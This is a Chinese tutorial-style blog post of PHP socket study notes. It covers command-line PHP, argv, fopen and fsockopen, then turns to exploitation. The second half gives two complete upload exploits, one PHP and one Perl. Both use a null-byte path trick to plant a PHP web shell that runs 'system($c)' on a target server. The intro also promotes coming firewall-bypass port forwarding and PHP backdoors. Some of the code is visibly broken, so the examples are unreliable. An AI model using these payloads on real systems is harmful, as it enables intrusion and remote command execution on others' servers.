首页 > 开发 > PHP > 正文

PHP-SOCKETS读书笔记

2024-05-04 22:59:35
字体:
来源:转载
供稿:网友
学习php2个月了,收获挺多.但是与别人不同的是,我更喜欢socket.php在socket这方面的文章太少了.所以决定写一系列php-socket读书笔记.一直从最基本写到socket_raw.
实例+心得.实例将会有端口转发(突破防火墙),动网类型exp,端口扫描,php后门,发包型exp框架.由于学习缘故,每周只能写一篇.现给出卷一.希望大家一起投入到php shell编程中来.


前言:

php是世界上最流行的脚本语言之一。一直以来它在web编程中得到极广泛的应用。我想说的是php不仅在web方面出色,在shell方面同样出色。只是人们更习惯用perl来编写shell脚本.这里申明一下,本人不是php高手,接触php不过几个星期,这只是一篇读书笔记。有错误的地方请提出来。也可以给我mail,共同探讨php。

前置知识:

php最吸引我的地方就是sockets 扩展,事实上我会简单的vb winsock,完全能用vb写一个常用的winsock程序出来。但是我还是选择了php。因为它是跨平台的。

php默认是不支持高级socket的,只支持被“封装”的fsockopen等几个函数。socket作为php的扩展,需要设置一下才能使其支持。在windows需要设置php。ini,在php。ini找;windows extensions这一行,去掉;extension=php_sockets.dll 前面的分号。that‘s ok。*nix下则需要在编译的时候加入-enable—sockets命令。在没有使用dl()函数的时候,你的php必须和在同一目录php_sockets.dll。好了,完成php socket配置了。

下面就是运行的问题了

在终端下运行php脚本很简单。windows下c:/php/php.exe –q test.php,*nix下要在php文件事先申明由php来执行,就像perl一样。像#!/usr/local/bin/php –q .,然后再来个./test.php。参数q的意思就是不输出php标头信息。

输入参数问题:

有的人说,php shell如何输入参数。在web的时候可以这样输入参数http://xxx.com/aa.php?参数1=xxxx&参数2=ssssss。没关系php同perl一样,具有相似的参数功能。来看官方的描述

“argv”

传递给该脚本的参数。当脚本运行在命令行方式时,argv 变量传递给程序 c 语言样式的命令行参数。当调用 get 方法时,该变量包含请求的数据。

“argc”

包含传递给程序的命令行参数的个数(如果运行在命令行模式)。



呵呵,简单的说。看我举个例子

<?

if ($argc != 4 || in_array($argc[1] , array('--help','-h','?')))

{

echo "by darkness[bst].we will come back soon!/r/n";

echo "------------------------------------------------/r/n";

echo "c:/php/php.exe -q uploadexp.php http://www.bugkidz.org/upload.php filepath/r/n";

echo "------------------------------------------------/r/n";

}

$host = $argv[1];

$url = $argv[2];

$path = $argv[3];

?>



我想你应该看懂了哦,这里argc[0]是指的程序本身。也可以这样来.

printf(%s,$argv[1]);
前面一段谈到命令行方式的运行。更多请参照
http://www.php.net/manual/zh/features.commandline.php


1.fopen的应用
fopen也可以被称作被封装的socket函数。不仅用于文件读写,还可以用于socket。fopen相当于其他高级语言的inet控件/类,较于fsockopen,他对于url的操作更高级。

fopen的使用方法
$s = fopen ($url, mode);
fopen的mode属性:
mode 说明
'r' 只读方式打开,将文件指针指向文件头。
'r+' 读写方式打开,将文件指针指向文件头。
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 false,并生成一条 e_warning 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 o_excl|o_creat 标记是等价的。此选项被 php 4.3.2 以及以后的版本所支持,仅能用于本地文件。
'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 false,并生成一条 e_warning 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 o_excl|o_creat 标记是等价的。此选项被 php 4.3.2 以及以后的版本所支持,仅能用于本地文件。


即用于本地文件的操作,也可以用于inet。是不是很kool?
假如要测试一个站的iis目录是不是有写权限。
可以这样写
$s = fopen("http://www.bugkidz.org","x+") or die(“不存在写权限”)
如果存在的话,你可以继续构造下面的语句。用fwrite 远程写入文件。
但是一般的网站都是只读权限的
$s =fopen("http://www.bugkidz.org/index.php?id=1","r");
这样就读入了http://www.bugkidz.org/index.php?id=1的内容,但是还得经过处理才能获取完整的文件内容
这样
while (!feof($s)) {
echo fgets($s, 1024);
}
我认为fopen用于sql injection是最方便不过的了。
function phpinet($url)
{
fopen($url,"r") or die("打开url错误");


while (!feof($s)) {
$cahe = fgets($s, 1024);
}

retrun $cahe;
fclose($s)
}


这段函数等同于vb中的inet.openurl

fsockopen族函数的使用
fsockopen也是被封装的一类socket函数.有点类似于vb中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用php中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.
这样使用fsockopen
resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])

例子:
$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);
前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.
通常$sock = fsockopen("192.168.0.1",80);这样即可.
$sock = fsockopen("192.168.0.1",80);这是典型的tcp连接.udp连接这样来
$sock = fsockopen("udp://192.168.0.1",53);
用这个来写一个tftp的客户端也是可以的.

fsockopen的应用实例:

实例一,简单的http会话.

代码 

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />/n";
} else {
$out = "get / http/1.1/r/n";
 $out .= "host: www.example.com/r/n";
$out .= "connection: close/r/n/r/n";

 fwrite($fp, $out);
 while (!feof($fp)) {
echo fgets($fp, 128);
 }
fclose($fp);
}
?>  



流程一般是这样的
建立fsockopen 资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen 资源.
angel写了一个php的端口扫描工具,贴出之
http://www.4ngel.net/article/20.htm

选择fsockopen 来写简单exp发送框架绝对是个goodidea.becoz it's so easy.
看我的php上传漏洞的exp.

代码 

<?php
#codz by darkness msn:cqxy[at]21cn.net
$sock = fsockopen("www.ririririri.com",80);
if (!$sock)
{ echo "cannot connect it!";
}
$body = "-----------------------------7d41f4a600472/r/n".
"content-disposition: form-data; name=/"path/"/r/n".
"/r/n".
"www.ppp%00/r/n".
"-----------------------------7d41f4a600472/r/n".
"content-disposition: form-data; name=/"image/"; filename=/"f://tools//1.gif/"/r/n".
"content-type: text/plain/r/n".
"/r/n".
"<?php/r/n".
"system($c);/r/n".
"?>/r/n".
"-----------------------------7d41f4a600472--/r/n".
"/r/n";

$header ="post /index.php?action=upload http/1.1/r/n".
"accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*/r/n".
"referer: http://127.0.0.1/index.php?path=./r/n".
"accept-language: zh-cn/r/n".
"content-type: multipart/form-data; boundary=---------------------------7d41f4a600472/r/n".
"accept-encoding: gzip, deflate/r/n".
"user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.2; hotbar 4.4.6.0; .net clr 1.1.4322)/r/n".
"host: 127.0.0.1/r/n".
"content-length: strlen($body)/r/n".
"connection: keep-alive/r/n".
"cache-control: no-cache/r/n".
"cookie: phpsessid=111111111111111111111111/r/n".
"/r/n";
fputs($sock,$header);
sleep(1);

fputs($sock,$body);
while (!feof($sock))
{
echo fgets($sock,128);
}
fclose($sock);
?>  


再来看xiaolu用perl写的exp

代码 

#!/usr/bin/perl
$| = 1;
use socket;
$host = "127.0.0.1";
$port = "80";

$uploadto = "";
$str =
"-----------------------------7d41f4a600472/r/n".
"content-disposition: form-data; name=/"path/"/r/n".
"/r/n".
"www.ppp%00/r/n".
"-----------------------------7d41f4a600472/r/n".
"content-disposition: form-data; name=/"image/"; filename=/"f://tools//1.gif/"/r/n".
"content-type: text/plain/r/n".
"/r/n".
"<?php/r/n".
"system($c);/r/n".
"?>/r/n".
"-----------------------------7d41f4a600472--/r/n".
"/r/n";

print $str;
$len=length($str);
print $len;

$req ="post /1/1/3721/index.php?action=upload http/1.1/r/n".
"accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*/r/n".
"referer: http://127.0.0.1/index.php?path=./r/n".
"accept-language: zh-cn/r/n".
"content-type: multipart/form-data; boundary=---------------------------7d41f4a600472/r/n".
"accept-encoding: gzip, deflate/r/n".
"user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.2; hotbar 4.4.6.0; .net clr 1.1.4322)/r/n".
"host: 127.0.0.1/r/n".
"content-length: $len/r/n".
"connection: keep-alive/r/n".
"cache-control: no-cache/r/n".
"cookie: phpsessid=111111111111111111111111/r/n".
"/r/n".
"$str/r/n/r/n";
print $req;
@res = sendraw($req);
print @res;

#hmm...maybe you can send it by other way


sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems/n");
socket(s,pf_inet,sock_stream,getprotobyname('tcp')||0) || die("socket problems/n");
if(connect(s,pack "sna4x8",2,$port,$target)){
select(s);
$| = 1;
print $req;
my @res = <s>;
select(stdout);
close(s);
return @res;

else {
die("can't connect.../n");

}  

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表